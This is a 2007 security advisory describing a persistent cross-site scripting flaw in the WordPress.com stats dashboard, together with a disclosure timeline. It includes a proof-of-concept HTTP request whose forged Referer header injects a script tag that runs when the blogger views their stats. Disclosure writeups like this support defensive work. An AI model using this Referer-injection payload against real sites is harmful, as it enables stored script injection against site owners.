[NEWS] Persistent Cross-Site Scripting in Wordpress.com Dashboard

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Persistent Cross-Site Scripting in Wordpress.com Dashboard
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SUMMARY

On May 6th, 2007 a "new WordPress plugin called 'stats' was released. This
plugin allows a WordPress user who has his blog self-hosted to use the
Wordpress.com statistics. The plugin includes a JavaScript on the blog
page to collect statistics from visitors. This statistics include page
viewed, search engine keywords, if used, and referrer as well". The
referrer field is taken from the HTTP header generated by the user with
his browser. So it's a user-input and it is possible therefore to tamper
with it.

DETAILS

This is a snip of code taken from the stats page of Wordpress.com
dashboard.
..
<a
href='http://www.referersite.it/?q=2'>http://www.referersite.it/?q=2
..

If an attacker creates an HTTP request like this, an alert box will be
displayed when the blogger reads his stats:
GET http://www.somewpblog.com/ HTTP/1.1
Host:www.siteofblogger.com
User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.3)
Gecko/20070309 Firefox/2.0.0.3
Accept:text/xml,application/xml,application/xhtml+xml,text/html;
q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding:gzip,deflate
Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:300
Connection:keep-alive
Referer:http://www.e.it'></a><script>alert(/My XSS/)</script><a href='

On the stats page this HTML code will be written:
..
<a href='http://www.miosito.it'></a><script>alert(/My XSS/)</script><a
href=''>http://www.miosito.it'></a><script>alert(/My XSS/)</script><a
href='</a>
..

Analysis:
An attacker could forge the HTTP Referrer so to inject inside it some
Javascript code aiming to create a persistent cross-site scripting (XSS).

In order to exploit this vulnerability, an attacker can simply request a
page controlled by stats plugin and send a special HTTP header. No
interaction from the victim is needed.

Disclosure Timeline:
14/05/2007 - Vendor notified
XX/05/2007 - Vendor silently fixed the bug
13/06/2007 - Vendor recontacted
13/06/2007 - Vendor response
19/06/2007 - Public disclosure

ADDITIONAL INFORMATION

The information has been provided by <mailto:matteo@matteocarli.com>
Matteo Carli.

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